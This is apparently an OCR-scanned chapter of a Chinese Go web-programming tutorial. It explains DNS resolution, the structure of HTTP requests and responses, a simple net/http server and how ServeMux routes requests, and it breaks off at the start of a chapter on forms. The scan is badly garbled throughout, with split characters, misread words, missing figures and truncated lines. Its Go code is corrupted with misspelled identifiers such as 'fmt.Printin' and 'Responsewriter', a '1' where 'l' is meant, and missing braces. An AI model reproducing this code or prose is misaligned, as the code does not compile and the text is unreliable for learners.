在 浏览 器 中 输入 www.qdq.com 域 名 ， 操 作 系 统 会 先 检查 自己 本 地 的 hosts 文 件 是 
否 有 这 个 网 址 映射 关系 ， 如 果 有 ， 就 先 调用 这 个 IP 地 址 映射 ， 完 成 域名 解析 。 


.如 果 hosts 里 没有 这 个 域名 的 映射 ， 则 查找 本 地 DNS 解析 器 缓存 ， 是 否 有 这 个 


网 址 映射 关系， 如 果 有 ， 让 接 返 回 ， 完 成 域名 解析 。 


. 如果 hosts 与 本 地 DNS 解析 器 缓存 都 没有 相应 的 网 址 映射 关系 ， 首 先 会 找 


TCP/IP 参 数 中 设置 的 首选 DNS 服务 器 ， 在 此 我 们 叫 它 本 地 DNS 服务 器 ， 此 服 
务 器 收 到 查询 时 ， 如 果 要 查询 的 域名 ， 包 含 在 本 地 配置 区 域 资 源 中 ， 则 返回 解 
析 结 果 给 客户 机 ， 完 成 域名 解析 ， 此 解析 具有 权威 性 。 


.如果 要 查询 的 域名 ， 不 由 本 地 DNS 服务 器 区 域 解析 ， 但 该 服务 器 已 缓存 了 此 网 


址 映射 关系 ， 则 调用 这 个 IP 地 址 映射 ， 完 成 域名 解析 ， 此 解析 不 具有 权威 性 。 


.如果 本 地 DNS 服务 器 本 地 区 域 文 件 与 缓存 解析 都 失效 ， 则 根据 本 地 DNS 服务 器 


的 设置 (是否 设置 转发 器 ) 进行 查询 ， 如 果 未 用 转发 模式 ， 本 地 DNS 就 把 请 求 
发 至 “ 根 DNS 服 务 器 " “ 根 DNS 服 务 器 ? 收 到 请 求 后 会 判断 这 个 域名 (.com) 是 谁 
来 授权 管理 ， 并 会 返回 一 个 负责 该 顶级 域名 服务 器 的 一 个 I|P。 本 地 DNS 服务 器 
收 到 IP 信 息 后 ， 将 会 联系 负责 .com 域 的 这 人 台 服 务 器 。 这 人 台 负 责 .com 域 的 服务 器 
收 到 请 求 后 ， 如 果 自 己 无 法 解析 ， 它 就 会 找 一 个 管理 .com 域 的 下 一 级 DNS 服务 
器 地 址 (qq.com) 给 本 地 DNS 服务 器 。 当 本 地 DNS 服务 器 收 到 这 个 地 址 后 ， 就 会 
重复 上 面 的 动作 ， 进 行 查询 ， 直 至 找到 www.qq.com 主 
Jlo 


.如 果 用 的 是 转发 模式 ， 此 DNS 服务 器 就 会 把 请 求 转发 至 上 一 级 DNS 服务 器 ， 由 


上 一 级 服务 器 进行 解析 ， 上 一 级 服务 器 如 果 不 能 解析 ， 或 找 根 DNS 或 把 转 请 求 
转 至 上 上 级 ， 以 此 循环 。 不 管 是 本 地 DNS 服务 器 用 是 是 转发 ， 还 是 根 握 示 ， 最 
后 都 是 把 结果 返回 给 本 地 DNS 服务 器 ， 由 此 DNS 服务 器 再 返回 给 客户 机 。 


图 3.3 DNS 解析 的 整个 流程 


所 谓 递归 查询 过 程 就 是 “查询 的 递交 者 ”更替 , 而 迭代 查询 过 程 则 是 “查询 的 


举 个 例子 来 说 ， 你 想 知道 某 个 一 起 上 法 律 课 的 女孩 的 电话 ， 并 且 你 偷偷 拍 了 她 
的 照片 ， 回 到 寝室 告诉 一 个 很 仗义 的 哥们 儿 ， 这 个 哥们 儿 二 话 没 说 ， 拍 着 胸 膊 
告诉 你 ， 鼻 急 ， 我 奉 你 查 (此 多 完 成 了 一 次 递归 查询 ， 即 ， 问 询 者 的 角色 更 
蔡 )。 然 后 他 拿 着 照片 问 了 学 院 大 四 学 长 ， 学 长 告诉 他 ， 这 姑娘 是 xx 系 的 ; 然后 
这 哥们 儿 马 不 停 蹄 又 问 了 xx 有 系 的 办 公 室 主任 助理 同学 ， 助 理 同学 说 是 XXx 系 yy 班 
的 ， 然 后 很 仗义 的 哥们 儿 去 xx 系 yy 班 的 班 基 那里 取 到 了 该 女孩 儿 电 话 。( 此 处 完 
成 各 干 次 迭代 查询 ， 即 ， 问 询 者 角色 不 变 ， 但 反复 更 替 问 询 对 象 ) 最 后 ， 他 把 号 
码 交 到 了 你 手 里 。 完 成 整个 查询 过 程 。 


通过 上 面 的 步骤 ， 我 们 最 后 获取 的 是 IP 地 址 ， 也 就 是 浏览 器 最 后 发 起 请 求 的 时 候 是 
基于 IP 来 和 服务 器 做 信息 交互 的 。 


HTTP 协 议 详解 


HTTP 协 议 是 Web 工 作 的 核心 ， 所 以 要 了 解 清楚 Web 的 工作 方式 就 需要 详细 的 了 解 
清楚 HTTP 是 怎么 样 工 作 的 。 


HTTP 是 一 种 让 Web 服 务 器 与 浏览 器 (客户 端 ) 通 过 Internet 发 送 与 接收 数据 的 协议 , 它 
建立 在 TCP 协 议 之 上 ， 一 般 采 用 TCP 的 80 端 口 。 它 是 一 个 请 求 、 响 应 协议 -- 客 户 端 
发 出 一 个 请 求 ， 服 务 器 响应 这 个 请 求 。 在 HTTP 中 ， 客 户 端 总 是 通过 建立 一 个 连接 
与 发 送 一 个 HTTP 请 求 来 发 起 一 个 事务 。 服 务 器 不 能 主动 去 与 客户 端 联系 ， 也 不 能 
给 客户 端 发 出 一 个 回调 连接 。 客 户 端 与 服务 器 端 都 可 以 提前 中 断 一 个 连接 。 例 如 ， 
当 浏 览 器 下 载 一 个 文件 时 ， 你 可 以 通过 点 击 “ 停 止 ? 键 来 中 断 文件 的 下 载 ， 关 闭 与 服 
务 器 的 HTTP 连 接 。 


HTTP 协 议 是 无 状态 的 ， 同 一 个 客户 端的 这 次 请 求 和 上 次 请 求 是 没有 对 应 关系 ， 对 
HTTP 服 务 器 来 说 ， 它 并 不 知道 这 两 个 请 求 是 否 来 自 同一 个 客户 端 。 为 了 解决 这 个 
问题 ， Web 程 序 引 入 了 Cookie 机 制 来 维护 连接 的 可 持续 状态 。 


HTTP 协 议 是 建立 在 TCP 协 议 之 上 的 ， 因 此 TCP 攻 击 一 样 会 影响 HTTP 的 通讯 ， 

例如 比较 常见 的 一 些 攻击 : SYN Flood 是 当前 最 流行 的 DoS (拒绝 服务 攻击 ) 

与 DdoS (分 布 式 拒绝 服务 攻击 ) 的 方式 之 一 ， 这 是 一 种 利用 TCP 协 议 缺 陷 ， 发 
送 大 量 伪 造 的 TCP 连 接 请 求 ， 从 而 使 得 被 攻击 方 资源 耗 尽 (CPU 满 负荷 或 内 存 
不 足 ) 的 攻击 方式 。 


HTTP 请 求 包 (浏览 器 信息 ) 


我 们 先 来 看 看 Request 包 的 结构 , Request 包 分 为 3 部 分 ， 第 一 部 分 叫 Request 
line (请 求 行 ), 第 二 部 分 叫 Request header GRA) ,第 三 部 分 是 body (= 
体 ) 。header 和 body 之 间 有 个 空 行 ， 请 求 包 的 例子 所 示 


GET /domains/example/ HTTP/1.1 // 请 求 行 : 请 求 方 法 请 求 URI HTTP} 
Host : www.iana.org // 服 务 端的 主机 名 

User-Agent : Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, 
Accept : text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q 


Accept-Encoding : gzip, deflate, sdch // 是 否 支 持 流 压缩 
Accept-Charset : UTF-8, *;q=0.5 // 客 户 端 字符 编码 集 


// 空 行 , 用 于 分 割 请 求 关 和 消息 体 
// 消 息 体 ,请求 资源 参数 , 例如 POST 传递 的 参数 








HTTP 协 议定 义 了 很 多 与 服务 器 交互 的 请 求 方法 ， 最 基本 的 有 4 种 ， 分 别 是 
GET,POST,PUT,DELETE。 一 个 URL 地 址 用 于 描述 一 个 网 络 上 的 资源 ， 而 HTTP 中 
的 GET POST, PUT, DELETE 就 对 应 着 对 这 个 资源 的 查 ， 改 ， 增 ， 删 4 个 操作 。 我 
们 最 常见 的 就 是 GET 和 POST 了 。GET 一 般 用 于 获取 /查询 资源 信息 ， 而 POST 一 般 
用 于 更 新 资源 信息 。 


通过 fiddler 抓 包 可 以 看 到 如 下 请 求 信息 : 
图 3.4 fiddler 抓 取 的 GET 信 息 


图 3.5 fiddler 抓 取 的 POST 信息 
我 们 看 看 GET 和 POST 的 区 别 : 


1. 我 们 可 以 看 到 GET 请 求 消息 体 为 空 ，POST 请 求 带 有 消息 体 。 

2. GET 提 交 的 数据 会 放 在 URL 之 后 ， 以 ? 分 割 URL 和 传输 数据 ， 参 数 之 间 
以 & 相连 ， 如 EditPosts.aspx?name=test1&id=123456 。POST 方 法 是 把 
提交 的 数据 放 在 HTTP 包 的 body 中 。 

3. GET 提 交 的 数据 大 小 有 限制 〈 因 为 浏览 器 对 URL 的 长 度 有 限制 ) ， 而 POST 方 
法 提交 的 数据 没有 限制 。 

4. GET 方式 提交 数据 ， 会 带 来 安全 问题 ， 比 如 一 个 登录 页 面 ， 通 过 GET 方 式 提 交 
数据 时 ， 用 户 名 和 密码 将 出 现在 URL 上 ， 如 果 页 面 可 以 被 缓存 或 者 其 他 人 可 以 
访问 这 台 机 器 ， 就 可 以 从 历史 记录 获得 该 用 户 的 账号 和 密码 。 


HTTP 响 应 包 (服务 器 信息 ) 
我 们 再 来 看 看 HTTP 的 response 包 ， 他 的 结构 如 下 : 


HTTP/1.1 200 OK // 状 态 行 


Server: nginx/1.0.8 // 服 务 器 使 用 的 WEB 软 件 名 及 版 本 
Date:Date: Tue, 30 Oct 2012 04:14:25 GMT // 发 送 时 间 
Content-Type: text/html // 服 务 器 发 送信 息 的 类 型 
Transfer-Encoding: chunked // 表 示 发 送 HTTP 包 是 分 段 发 的 
Connection: keep-alive // 保 持 连接 状态 
Content-Length: 90 // 主 体内 容 长 度 


// 空 行 用 来 分 割 消息 头 和 主体 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"... , 





«| = 





Response 包 中 的 第 一 行 叫做 状态 行 ， 由 HTTP 协 议 版 本 号 ， 状态 码 ， 状态 消息 三 
部 分 组 成 。 


状态 码 用 来 告诉 HTTP 客 户 端 ,HTTP 服 务 器 是 否 产 生 了 预期 的 Response。HTTP/1.1 
协议 中 定义 了 5 类 状态 码 ， 状态 码 由 三 位 数字 组 成 ， 第 一 个 数字 定义 了 响应 的 类 别 


。 1XX 提示 信息 - 表示 请 求 已 被 成 功 接收 ， 继 续 处 理 

© 2XX 成 功 - 表示 请 求 已 被 成 功 接收 ， 理 解 ， 接 受 

e 3XX BEM - 要 完成 请 求 必须 进行 更 进一步 的 处 理 

e 4XX 客户 端 错误 - 请 求 有 语法 错误 或 请 求 无 法 实现 

o 5XX 服务 器 端 错误 - 服务 器 未 能 实现 合法 的 请 求 
我 们 看 下 面 这 个 图 展示 了 详细 的 返回 信息 ， 左 边 可 以 看 到 有 很 多 的 资源 返回 码 ， 
200 是 常用 的 ， 表 示 正 常 信息 ，302 表 示 跳 转 。response header 里 面 展 示 了 详细 的 


信息 。 


图 3.6 访问 一 次 网 站 的 全 部 请 求 信息 


HTTP 协 议 是 无 状态 的 和 Connection: keep-alive 的 区 别 


无 状态 是 指 协议 对 于 事务 处 理 没有 记忆 能 力 ， 服 务 器 不 知道 客户 端 是 什么 状态 。 从 
另 一 方面 讲 ， 打 开 一 个 服务 器 上 的 网 页 和 你 之 前 打开 这 个 服务 器 上 的 网 页 之 间 没 有 
任何 联系 。 


HTTP 是 一 个 无 状态 的 面向 连接 的 协议 ， 无 状态 不 代表 HTTP 不 能 保持 TCP 连 接 ， 更 
不 能 代表 HTTP 使 用 的 是 UDP 协议 ( 面 对 无 连接 ) 。 


从 HTTP/1.1 起 ， 默 认 都 开启 了 Keep-Alive 保 持 连接 特性 ， 简 单 地 说 ， 当 一 个 网 页 打 
开 完 成 后 ， 客 户 端 和 服务 器 之 间 用 于 传输 HTTP 数 据 的 TCP 连 接 不 会 关闭 ， 如 果 客 
户 端 再 次 访问 这 个 服务 器 上 的 网 页 ， 会 继续 使 用 这 一 条 已 经 建立 的 TCP 连 接 。 


Keep-Alive 不 会 永久 保持 连接 ， 它 有 一 个 保持 时 间 ， 可 以 在 不 同 服务 器 软件 (AD 
Apache) 中 设置 这 个 时 间 。 


请 求实 例 


图 3.7 一 次 请 求 的 request 和 response 


上 面 这 张 图 我 们 可 以 了 解 到 整个 的 通讯 过 程 ， 同 时 细心 的 读者 是 否 注 意 到 了 一 点 ， 
一 个 URL 请 求 但 是 左边 栏 里 面 为 什么 会 有 那么 多 的 资源 请 求 (这 些 都 是 静态 文件 ， 
go 对 于 静态 文件 有 专门 的 处 理 方式 )。 


这 个 就 是 浏览 器 的 一 个 功能 ， 第 一 次 请 求 url， 服 务 器 端 返 回 的 是 html 页 面 ， 然 后 浏 
ak Te 宣 染 HTML : 当 解 析 至 HTML DOM 里 面 的 图 片 连接 css 脚 本 和 js 脚本 的 链 

接 ， 浏 览 器 就 会 自动 发 起 一 个 请 求 静态 资源 的 HTTP 请 求 ， 获 取 相 对 应 的 静态 资 

Ama 览 器 就 会 泻 染 出 来 ， RAIE XX 源 整 合 、 sop, 完整 展现 在 我 们 面前 
屏幕 上 


网 页 优化 方面 有 一 项 措施 是 减少 HTTP 请 求 次 数 ， r deed ae 资源 
合并 在 一 起 ， 目 的 是 尽量 减少 网 页 请 求 静态 资源 的 次 数 ， 提 高 网 页 加 载 速 度 ， 
同时 减缓 服务 器 的 压力 。 


节 : 
一 节 : Go 搭建 一 个 Web 服 务 器 


3.2 Go 搭建 一 个 Web 服 务 器 


前 面 小 节 已 经 介绍 了 Web 是 基于 http 协 议 的 一 个 服务 ，Go 话 言 里 面 提供 了 一 个 完善 
的 net/http 包 ， 通过 http 包 可 以 很 方便 的 就 搭建 起 来 一 e 同时 
使 用 这 个 包 能 很 简单 地 对 Web 的 路 由 ， 静 态 文件 ， 模 版 ，cookie 等 数据 进行 设置 和 
操作 。 


http 包 建立 Web 服 务 器 
package main 
import ( 
"Fmt W 
"net/http" 
"strings" 
"log" 
) 


func sayhelloName(w http.Responsewriter, r *http.Request) { 
r.ParseForm()  // 解 析 参 数 ， 黑 认 是 不 会 解析 的 
fmt.Printlin(r.Form)  // 这 些 信息 是 输出 到 服务 器 端的 打印 信息 
fmt.Printin("path", r.URL.Path) 
fmt .Printin("scheme", r.URL.Scheme) 
fmt .Printin(r.Form["url_long"]) 
for k, v := range r.Form { 
fmt.Printin("key:", k) 
fmt.Printin("val:", strings.Join(v, "")) 
} 
fmt.Fprintf(w, "Hello astaxie!") // 这 个 写 入 到 w 的 是 输出 到 客户 端的 
} 


func main() { 
http.HandleFunc("/", sayhelloName) // 设 置 访 问 的 路 由 
err := http.ListenAndServe(":9090", nil) // 设 置 监 听 的 端口 
if err != nil { 
log.Fatal("ListenAndServe: ", err) 


} 
} 
上 面 这 个 代码 ， 我 们 build 之 后 ， 然 后 执行 web.exe, 这 个 时 候 其 经 在 9090 端 口 监 
听 http 链 接 请 求 了 。 


在 浏览 器 输入 http://localhost :9090 
可 以 看 到 浏览 器 页 面 输出 了 Hello astaxie! 


可 以 换 一 个 地 址 试 
试 : http://localhost:9090/?url_ long=111&url long=222 


看 看 浏览 器 输出 的 是 什么 ， 服 务 器 输出 的 是 什么 ? 
在 服务 器 端 输出 的 信息 如 下 : 


图 3.8 用 户 访问 Web 之 后 服务 器 端 打 印 的 信息 


我 们 看 到 上 面 的 代码 ， 要 编写 一 个 Web 服 务 器 很 简单 ， 只 要 调用 http 包 的 两 个 函数 
就 可 以 了 。 
如 果 你 以 前 是 PHP 程 序 员 ， 那 你 也 许 就 会 问 ， 我 们 的 nginx、apache 服 务 器 不 
需要 吗 ? Go 就 是 不 需要 这 些 ， 因 为 他 直接 就 监听 tcp 端 口 7， 做 了 nginx 做 的 事 
情 ， 然 后 sayhelloName 这 个 其 实 就 是 我 们 写 的 逮 辑 函数 了 ， 跟 php 里 面 的 控制 
E (controller) WA # WL, 


如 果 你 以 前 是 Python 程序 员 ， 那 么 你 一 定 听 说 过 tornado， 这 个 代码 和 他 是 不 是 
很 像 ， 对 ， 没 错 ，Go 就 是 拥有 类 似 Python 这 样 动态 语言 的 特性 ， 写 Web 应 用 很 
方便 。 


如 果 你 以 前 是 Ruby 程 序 员 ， 会 发 现 和 和 ROR 的 /script/server 启 动 有 点 类 似 。 


我 们 看 到 Go 通过 简单 的 几 行 代码 就 已 经 运行 起 来 一 个 Web 服 务 了 ， 而 且 这 个 Web 
服务 内 部 有 支持 高 并 发 的 特性 ， 我 将 会 在 接 下 来 的 两 个 小 节 里 面 详细 的 讲解 一 下 Go 
是 如 何 实现 Web 高 并 发 的 。 


links 
e 目录 


e 上 一 节 : Web 工 作 方 式 
e 下 一 节 : Go 如 何 使 得 web 工 作 
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3.3 Go 如 何 使 得 Web 工 作 


前 面 小 节 介 绍 了 如 何 通过 Go 搭建 一 个 Web 服 务 ， 我 们 可 以 看 到 简单 应 用 一 个 
net/http 包 就 方便 的 搭建 起 来 了 。 那 么 Go 在 底层 到 底 是 怎么 做 的 呢 ? 万 变 不 离 其 
宗 ，Go 的 Web 服 务工 作 也 离 不 开 我 们 第 一 小 节 介 绍 的 Web 工 作 方 式 。 


web 工 作 方 式 的 几 个 概念 


以 下 均 是 服务 器 端的 几 个 概念 


Request: 用 户 请 求 的 信息 ， 用 来 解析 用 户 的 请 求 信息 ， 包 括 post、get、cookie、 
url 等 信息 


Response : 服务 器 需要 反馈 给 客户 端的 信息 
Conn : 用 户 的 每 次 请 求 链 接 
Handler : 义理 请 求 和 生成 返回 信息 的 义理 逻辑 


分 析 http 包 运行 机 制 


如 下 图 所 示 ， 是 Go 实现 Web 服 务 的 工作 模式 的 流程 图 


图 3.9 http 包 执行 流程 
1. 创建 Listen Socket, 监听 指定 的 端口 , 等 待 客户 端 请 求 到 来 。 


2. Listen Socket 接 受 客 户 端的 请 求 , 得 到 Client Socket, 接 下 来 通过 Client Socket 
与 客户 端 通信 。 

3. 义理 客户 端的 请 求 , 首先 从 Client Socket 读 取 HTTP 请 求 的 协议 头 , 如 果 是 POST 
方法 , 还 可 能 要 读 取 客 户 端 提 交 的 数据 , 然后 交 给 相应 的 handler 人 处 理 请 求 ， 
handler 义 理 完 毕 准 备 好 客户 端 需要 的 数据 , 通过 Client Socket 写 给 客户 端 。 


这 整个 的 过 程 里 面 我 们 只 要 了 解 清楚 下 面 三 个 问题 ， 也 就 知道 Go 是 如 何 让 Web 运 行 
起 来 了 


e 如 何 监听 端口 ? 
e 如 何 接收 客户 端 请 求 ? 
e 如 何 分 配 handler? 


前 面 小 节 的 代码 里 面 我 们 可 以 看 到 ，Go 是 通过 一 个 函数 ListenAndServe 来 处 理 
这 些 事情 的 ， 这 个 底层 其 实 这 样 处 理 的 : 初始 化 一 个 server 对 象 ， 然 后 调用 

了 net.Listen("tcp", addr) ， 也 就 是 底层 用 TCP 协 议 搭建 了 一 个 服务 ， 然 后 监 
控 我 们 设置 的 端口 。 


下 面 代 码 来 自 Go 的 http 包 的 源码 ， 通 过 下 面 的 代码 我 们 可 以 看 到 整个 的 http 人 处 理 过 


程 : 


func (srv *Server) Serve( net.Listener) error { 
defer 1.Close() 
var tempDelay time.Duration // how long to sleep on accept fai. 
for { 
rw, e := 1.Accept() 
if e != nil { 
if ne, ok := e.(net.Error); ok && ne.Temporary() { 
if tempDelay == 0 { 
tempDelay = 5 * time.Millisecond 
} else { 
tempDelay *= 2 
} 


if max := 1 * time.Second; tempDelay > max { 
tempDelay = max 


log.Printf("http: Accept error: %v; retrying in %v' 
time.Sleep(tempDelay ) 
continue 
} 
return e 
} 
tempDelay = 0 
c, err := srv.newConn(rw) 
if err != nil { 
continue 


go c.serve() 





监控 之 后 如 何 接收 客户 端的 请 求 呢 ?上面 代 码 执 行 监控 端口 之 后 ， 调 用 

了 srv.Serve(net.Listener) HR, SHRM ECHEME P imiy Ka Ao 
xP ARES —T for{} ， 首 先 通过 Listener 接 收 请 求 ， 其 次 创建 一 个 
Conn， 最 后 单独 开 了 一 个 goroutine， 把 这 个 请 求 的 数据 当做 参数 扔 给 这 个 conn 去 
服务 : go c.serve() 。 这 个 就 是 高 并 发 体现 了 ， 用 户 的 每 一 次 请 求 都 是 在 一 个 
新 的 goroutine 去 服务 ， 相 互 不 影响 。 


那么 如 何 有 具体 分 配 到 相应 的 函数 来 处 理 请 求 呢 ? conn 首 先 会 解析 

request: c.readRequest() ,然后 获取 相应 的 

handler: handler := c.server.Handler ， 也 就 是 我 们 刚才 在 调用 酌 

数 ListenAndServe 时 候 的 第 二 个 参数 ， 我 们 前 面 例 子 传 递 的 是 nil， 也 就 是 为 
空 ， 那 么 默认 获取 handler = DefaultServeMux ,那么 这 个 变量 用 来 做 什么 的 
Me? 对 ， 这 个 变量 就 是 一 个 路 由 器 ， 它 用 来 匹配 url 跳 转 到 其 相应 的 handle 函 数 ， 那 
么 这 个 我 们 有 设置 过 吗 ? 有 ， 我 们 调用 的 代码 里 面 第 一 句 不 是 调用 

了 http.HandleFunc("/", sayhelloName) 嘛 。 这 个 作用 就 是 注册 了 请 求 / 的 


路 由 规则 ， 当 请 求 uri 为 ""， 路 由 就 会 转 到 函数 sayhelloName，DefaultServeMux 会 
调用 ServeHTTP 方 法 ， 这 个 方法 内 部 其 实 就 是 调用 sayhelloName 本 身 ， 最 后 通过 
写 和 人 response 的 信息 反馈 到 客户 端 。 


详细 的 整个 流程 如 下 图 所 示 : 


图 3.10 一 个 http 连 接 处 理 流程 


至 此 我 们 的 三 个 问题 已 经 全 部 得 到 了 解答 ， 你 现在 对 于 Go 如 何 让 Web 跑 起 来 的 是 否 
已 经 基本 了 解 呢 ? 


: GO 搭建 一 个 简单 的 web 服 务 
Go 的 http 包 详解 


3.4 Go 的 http 包 详解 

前 面 小 节 介 绍 了 Go 怎么 样 实 现 了 Web 工 作 模式 的 一 个 流程 ， 这 一 小 节 ， 我 们 将 详细 
地 解剖 一 下 http 包 ， 看 它 到 底 是 怎样 实现 整个 过 程 的 。 

Go 的 http 有 两 个 核心 功能 : Conn、ServeMux 


Conn 的 goroutine 


与 我 们 一 般 编写 的 http 服 务 器 不 同 , Go 为 了 实现 高 并 发 和 高 性 能 , 使 用 了 goroutines 
来 处 理 Conn 的 读 写 事件 , 这 样 每 个 请 求 都 能 保持 独立 ， 相 互 不 会 阻塞 ， 可 以 高 效 的 
响应 网 络 事件 。 这 是 Go 高 效 的 保证 。 


Go 在 等 待 客户 端 请 求 里 面 是 这 样 写 的 : 


c, err := srv.newConn(rw) 
if err != nil { 
continue 


go c.serve() 


这 里 我 们 可 以 看 到 客户 端的 每 次 请 求 都 会 创建 一 个 Conn， 这 个 Conn 里 面 保存 了 该 
次 请 求 的 信息 ， 然 后 再 传递 到 对 应 的 handler， 该 handler 中 便 可 以 读 取 到 相应 的 
header 信 息 ， 这 样 保 证 了 每 个 请 求 的 独立 性 。 


ServeMux 的 自 定义 


我 们 前 面 小 节 讲 述 conn.server 的 时 候 ， 其 实 内 部 是 调用 了 http 包 默认 的 路 由 器 ， 通 
过 路 由 器 把 本 次 请 求 的 信息 传递 到 了 后 端的 义理 函数 。 那 么 这 个 路 由 器 是 怎么 实现 
的 呢 ? 


它 的 结构 如 下 : 


type ServeMux struct { 
mu sync.RWMutex  ”// 锁 ， 由 于 请 求 涉及 到 并 发 处 理 ， 因 此 这 里 需要 一 个 锁 机 制 
m map[string]muxEntry // 路 由 规则 ， 一 个 string 对 应 一 个 mux 实 体 ， 这 里 
hosts bool // 是 否 在 任意 的 规则 中 带 有 host 信 息 


4) — g 
下 面 看 一 下 muxEntry 





type muxEntry struct { 
explicit bool // 是 否 精确 匹配 
h Handler // 这 个 路 由 表达 式 对 应 哪个 handler 
pattern string // 匹 配 字符 串 


接着 看 一 下 Handler 的 定义 


type Handler interface { 
ServeHTTP(Responsewriter, *Request) // 路 由 实现 器 
} 


Handler 是 一 个 接口 ， 但 是 前 一 小 节 中 的 sayhelloName HAHA RM 
ServeHTTP 这 个 接口 ， 为 什么 能 添加 呢 ?原来 在 http 包 里 面 还 定义 了 一 个 类 

型 HandlerFunc ,我 们 定义 的 函数 sayhelloName 就 是 这 个 HandlerFunc 调 用 之 后 
的 结果 ， 这 个 类 型 默认 就 实现 了 ServeHTTP 这 个 接口 ， 即 我 们 调用 了 
HandlerFunc(f), 强 制 类 型 转换 f 成 为 HandlerFunc 类 型 ， 这 样 { 就 拥有 了 ServeHTTP 方 


法 。 
type HandlerFunc func(Responsewriter, *Request) 


// ServeHTTP calls f(w, r). 

func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) { 
f(w, r) 

} 


路 由 器 里 面 存储 好 了 相应 的 路 由 规则 之 后 ， 那 么 具体 的 请 求 又 是 怎么 分 发 的 呢 ? 请 
看 下 面 的 代码 ， 默 认 的 路 由 器 实现 了 ServeHTTP : 


func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) { 
if r.RequestURI == "*" { 
w.Header().Set("Connection", "close") 
w.WriteHeader (StatusBadRequest ) 
return 


} 
h, _ := mux.Handler(r) 
h.ServeHTTP(w, r) 


如 上 所 示 路 由 器 接收 到 请 求 之 后 ， 如 果 是 * 那么 关闭 链接 ， 不 然 调 
用 mux.Handler(r) 返回 对 应 设置 路 由 的 处 理 Handler， 然 后 执 
行 h.ServeHTTP(w, r) 


也 就 是 调用 对 应 路 由 的 handler 的 ServerHTTP 接 口 ， 那 么 mux.Handler(r) 怎 么 处 理 
的 呢 ? 


func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string 
if r.Method != "CONNECT" { 
if p := cleanPath(r.URL.Path); p != r.URL.Path { 
_, pattern = mux.handler(r.Host, p) 
return RedirectHandler(p, StatusMovedPermanently), pati 
} 
} 
return mux.handler(r.Host, r.URL.Path) 
} 


func (mux *ServeMux) handler(host, path string) (h Handler, patterr 
mux.mu.RLock() 
defer mux.mu.RUnlock( ) 


// Host-specific pattern takes precedence over generic ones 
if mux.hosts { 
h, pattern = mux.match(host + path) 


} 
if h == nil { 
h, pattern = mux.match(path) 


} 
if h == nil { 

h, pattern = NotFoundHandler(), "" 
} 


return 


4 =a 


原来 他 是 根据 用 户 请 求 的 URL 和 路 由 器 里 面 存储 的 map 去 匹配 的 ， 当 匹配 到 之 后 返 
回 存储 的 handler， 调用 这 个 handler 的 ServeHTTP 接 口 就 可 以 执行 到 相应 的 函数 
了 。 


通过 上 面 这 个 介绍 ， 我 们 了 解 了 整个 路 由 过 程 ，Go 其 实 支持 外 部 实现 的 路 由 器 
ListenAndServe 的 第 二 个 参数 就 是 用 以 配置 外 部 路 由 器 的 ， 它 是 一 个 Handler 接 
口 ， 即 外 部 路 由 器 只 要 实现 了 Handler 接 口 就 可 以 ,我 们 可 以 在 自己 实现 的 路 由 器 的 
ServeHTTP 里 面 实 现 自 定义 路 由 功能 。 


如 下 代码 所 示 ， 我 们 自己 实现 了 一 个 简易 的 路 由 器 





package main 


import ( 

" fmt W 

"net /http" 
) 


type MyMux struct { 


func (p *MyMux) ServeHTTP(w http.ResponsewWriter, r *http.Request) : 


if r.URL.Path == "/" { 
sayhelloName(w, r) 
return 


http.NotFound(w, r) 
return 


} 


func sayhelloName(w http.Responsewriter, r *http.Request) { 
fmt.Fprintf (w, "Hello myroute!") 


} 
func main() { 
mux := &MyMux{} 
http.ListenAndServe(":9090", mux) 
} 


a] _ eee > 


Go 代码 的 执行 流程 
通过 对 http 包 的 分 析 之 后 ， 现 在 让 我 们 来 梳理 一 下 整个 的 代码 执行 过 程 。 
e 首先 调用 Http.HandleFunc 
按 顺 序 做 了 几 件 事 : 
1 调用 了 DefaultServeMux 的 HandleFunc 
2 调用 了 DefaultServeMux 的 Handle 
3 往 DefaultServeMux 的 map[stringjmuxEntry 中 增加 对 应 的 handler 和 路 由 规则 
e 其 次 调用 http.ListenAndServe(":9090", nil) 
按 顺 序 做 了 几 件 事情 : 
1 实例 化 Server 
2 调用 Server 的 ListenAndServe() 


3 调用 net.Listen("tcp", addr) 监 听 端 口 
4 启动 一 个 for 循 环 ， 在 循环 体 中 Accept 请 求 


5 对 每 个 请 求实 例 化 一 个 Conn， 并 且 开 局 一 个 goroutine 为 这 个 请 求 进行 服务 
go c.serve() 


6 读 取 每 个 请 求 的 内 容 w, err := c.readRequest() 


7 判断 handler 是 否 为 空 ， 如 果 没 有 设置 handler (这 个 例子 就 没有 设置 
handler) ，handler 就 设置 为 DefaultServeMux 


8 调用 handler 的 ServeHttp 
9 在 这 个 例子 中 ， 下 面 就 进入 到 DefaultServeMux.ServeHttp 
10 根据 request 选 择 handler， 并 且 进 入 到 这 个 handler 的 ServeHTTP 


mux.handler(r).ServeHTTP(w, r) 
11 选择 handler : 
A 判断 是 否 有 路 由 能 满足 这 个 request (循环 通 历 ServerMux 的 muxEntry) 


B 如 果 有 路 由 满足 ， 调 用 这 个 路 由 handler 的 ServeHttp 
C 如 果 没 有 路 由 满足 ， 调 用 NotFoundHandler 的 ServeHttp 


@ 


o 如 何 使 得 web 工 作 


3.5 小 结 


这 一 章 我 们 介绍 了 HTTP 协 议 , DNS 解析 的 过 程 , 如 何 用 go 实现 一 个 简陋 的 web 
server。 并 深入 到 Inet/http 包 的 源码 中 为 大 家 揭 开 实现 此 server 的 秘密 。 


希望 通过 这 一 章 的 学 习 ， 你 能 够 对 Go 开发 Web 有 了 初步 的 了 解 ， 我 们 也 看 到 相应 的 
代码 了 ，Go 开 发 Web 应 用 是 很 方便 的 ， 同 时 又 是 相当 的 灵活 。 


: Go 的 http 包 详解 


4 表单 


表单 是 我 们 平常 编写 Web 应 用 常用 的 工具 ， 通 过 表单 我 们 可 以 方便 的 让 客户 端 和 服 
务 器 进行 数据 的 交互 。 对 于 以 前 开发 过 Web 的 用 户 来 说 表单 都 非常 熟悉 ， 但 是 对 于 
C/C++ 程序 员 来 说 ， 这 可 能 是 一 个 有 些 陌生 的 东西 ， 那 么 什么 是 表单 呢 ? 


表单 是 一 个 包含 表单 元 素 的 区 域 。 表 单元 素 是 允许 用 户 在 表单 中 (比如 : 文本 域 、 
